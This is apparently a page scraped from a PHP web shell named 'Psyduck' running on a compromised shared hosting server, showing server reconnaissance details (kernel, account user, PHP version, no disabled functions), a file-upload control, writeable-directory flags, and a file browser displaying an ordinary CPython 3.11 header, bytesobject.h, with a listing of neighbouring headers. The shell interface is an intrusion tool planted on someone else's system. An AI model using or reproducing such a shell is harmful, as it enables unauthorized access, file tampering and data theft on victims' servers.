Psyduck - 可達鴨 之 鴨力山大2


Server : LiteSpeed
System : Linux premium217.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
User : alloknri ( 880)
PHP Version : 8.1.34
Disable Function : NONE
Directory :  /opt/alt/python311/include/python3.11/cpython/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //opt/alt/python311/include/python3.11/cpython/bytesobject.h
#ifndef Py_CPYTHON_BYTESOBJECT_H
#  error "this header file must not be included directly"
#endif

typedef struct {
    PyObject_VAR_HEAD
    Py_DEPRECATED(3.11) Py_hash_t ob_shash;
    char ob_sval[1];

    /* Invariants:
     *     ob_sval contains space for 'ob_size+1' elements.
     *     ob_sval[ob_size] == 0.
     *     ob_shash is the hash of the byte string or -1 if not computed yet.
     */
} PyBytesObject;

PyAPI_FUNC(int) _PyBytes_Resize(PyObject **, Py_ssize_t);
PyAPI_FUNC(PyObject*) _PyBytes_FormatEx(
    const char *format,
    Py_ssize_t format_len,
    PyObject *args,
    int use_bytearray);
PyAPI_FUNC(PyObject*) _PyBytes_FromHex(
    PyObject *string,
    int use_bytearray);

/* Helper for PyBytes_DecodeEscape that detects invalid escape chars. */
PyAPI_FUNC(PyObject*) _PyBytes_DecodeEscape2(const char *, Py_ssize_t,
                                             const char *,
                                             int *, const char **);
// Export for binary compatibility.
PyAPI_FUNC(PyObject *) _PyBytes_DecodeEscape(const char *, Py_ssize_t,
                                             const char *, const char **);

/* Macros and static inline functions, trading safety for speed */
#define _PyBytes_CAST(op) \
    (assert(PyBytes_Check(op)), _Py_CAST(PyBytesObject*, op))

static inline char* PyBytes_AS_STRING(PyObject *op)
{
    return _PyBytes_CAST(op)->ob_sval;
}
#if !defined(Py_LIMITED_API) || Py_LIMITED_API+0 < 0x030b0000
#  define PyBytes_AS_STRING(op) PyBytes_AS_STRING(_PyObject_CAST(op))
#endif

static inline Py_ssize_t PyBytes_GET_SIZE(PyObject *op) {
    PyBytesObject *self = _PyBytes_CAST(op);
    return Py_SIZE(self);
}
#if !defined(Py_LIMITED_API) || Py_LIMITED_API+0 < 0x030b0000
#  define PyBytes_GET_SIZE(self) PyBytes_GET_SIZE(_PyObject_CAST(self))
#endif

/* _PyBytes_Join(sep, x) is like sep.join(x).  sep must be PyBytesObject*,
   x must be an iterable object. */
PyAPI_FUNC(PyObject *) _PyBytes_Join(PyObject *sep, PyObject *x);


/* The _PyBytesWriter structure is big: it contains an embedded "stack buffer".
   A _PyBytesWriter variable must be declared at the end of variables in a
   function to optimize the memory allocation on the stack. */
typedef struct {
    /* bytes, bytearray or NULL (when the small buffer is used) */
    PyObject *buffer;

    /* Number of allocated size. */
    Py_ssize_t allocated;

    /* Minimum number of allocated bytes,
       incremented by _PyBytesWriter_Prepare() */
    Py_ssize_t min_size;

    /* If non-zero, use a bytearray instead of a bytes object for buffer. */
    int use_bytearray;

    /* If non-zero, overallocate the buffer (default: 0).
       This flag must be zero if use_bytearray is non-zero. */
    int overallocate;

    /* Stack buffer */
    int use_small_buffer;
    char small_buffer[512];
} _PyBytesWriter;

/* Initialize a bytes writer

   By default, the overallocation is disabled. Set the overallocate attribute
   to control the allocation of the buffer. */
PyAPI_FUNC(void) _PyBytesWriter_Init(_PyBytesWriter *writer);

/* Get the buffer content and reset the writer.
   Return a bytes object, or a bytearray object if use_bytearray is non-zero.
   Raise an exception and return NULL on error. */
PyAPI_FUNC(PyObject *) _PyBytesWriter_Finish(_PyBytesWriter *writer,
    void *str);

/* Deallocate memory of a writer (clear its internal buffer). */
PyAPI_FUNC(void) _PyBytesWriter_Dealloc(_PyBytesWriter *writer);

/* Allocate the buffer to write size bytes.
   Return the pointer to the beginning of buffer data.
   Raise an exception and return NULL on error. */
PyAPI_FUNC(void*) _PyBytesWriter_Alloc(_PyBytesWriter *writer,
    Py_ssize_t size);

/* Ensure that the buffer is large enough to write *size* bytes.
   Add size to the writer minimum size (min_size attribute).

   str is the current pointer inside the buffer.
   Return the updated current pointer inside the buffer.
   Raise an exception and return NULL on error. */
PyAPI_FUNC(void*) _PyBytesWriter_Prepare(_PyBytesWriter *writer,
    void *str,
    Py_ssize_t size);

/* Resize the buffer to make it larger.
   The new buffer may be larger than size bytes because of overallocation.
   Return the updated current pointer inside the buffer.
   Raise an exception and return NULL on error.

   Note: size must be greater than the number of allocated bytes in the writer.

   This function doesn't use the writer minimum size (min_size attribute).

   See also _PyBytesWriter_Prepare().
   */
PyAPI_FUNC(void*) _PyBytesWriter_Resize(_PyBytesWriter *writer,
    void *str,
    Py_ssize_t size);

/* Write bytes.
   Raise an exception and return NULL on error. */
PyAPI_FUNC(void*) _PyBytesWriter_WriteBytes(_PyBytesWriter *writer,
    void *str,
    const void *bytes,
    Py_ssize_t size);
Name
Size
Permissions
Options
abstract.h
8.036 KB
-rw-r--r--
bytearrayobject.h
1.274 KB
-rw-r--r--
bytesobject.h
4.689 KB
-rw-r--r--
cellobject.h
0.706 KB
-rw-r--r--
ceval.h
1.21 KB
-rw-r--r--
classobject.h
1.617 KB
-rw-r--r--
code.h
11.215 KB
-rw-r--r--
compile.h
2.166 KB
-rw-r--r--
complexobject.h
1.219 KB
-rw-r--r--
context.h
1.913 KB
-rw-r--r--
descrobject.h
1.604 KB
-rw-r--r--
dictobject.h
3.246 KB
-rw-r--r--
fileobject.h
0.799 KB
-rw-r--r--
fileutils.h
0.227 KB
-rw-r--r--
floatobject.h
0.686 KB
-rw-r--r--
frameobject.h
1.082 KB
-rw-r--r--
funcobject.h
4.32 KB
-rw-r--r--
genobject.h
3.202 KB
-rw-r--r--
import.h
1.49 KB
-rw-r--r--
initconfig.h
7.634 KB
-rw-r--r--
listobject.h
1.728 KB
-rw-r--r--
longintrepr.h
3.728 KB
-rw-r--r--
longobject.h
4.426 KB
-rw-r--r--
methodobject.h
2.496 KB
-rw-r--r--
modsupport.h
4.202 KB
-rw-r--r--
object.h
17.876 KB
-rw-r--r--
objimpl.h
2.928 KB
-rw-r--r--
odictobject.h
1.269 KB
-rw-r--r--
picklebufobject.h
0.826 KB
-rw-r--r--
pthread_stubs.h
3.423 KB
-rw-r--r--
pyctype.h
1.354 KB
-rw-r--r--
pydebug.h
1.048 KB
-rw-r--r--
pyerrors.h
4.416 KB
-rw-r--r--
pyfpe.h
0.434 KB
-rw-r--r--
pyframe.h
0.568 KB
-rw-r--r--
pylifecycle.h
2.05 KB
-rw-r--r--
pymem.h
3.3 KB
-rw-r--r--
pystate.h
14.015 KB
-rw-r--r--
pythonrun.h
4.698 KB
-rw-r--r--
pythread.h
1.393 KB
-rw-r--r--
pytime.h
11.873 KB
-rw-r--r--
setobject.h
1.95 KB
-rw-r--r--
sysmodule.h
0.478 KB
-rw-r--r--
traceback.h
0.434 KB
-rw-r--r--
tupleobject.h
1.478 KB
-rw-r--r--
unicodeobject.h
41.737 KB
-rw-r--r--
warnings.h
0.547 KB
-rw-r--r--
weakrefobject.h
2.054 KB
-rw-r--r--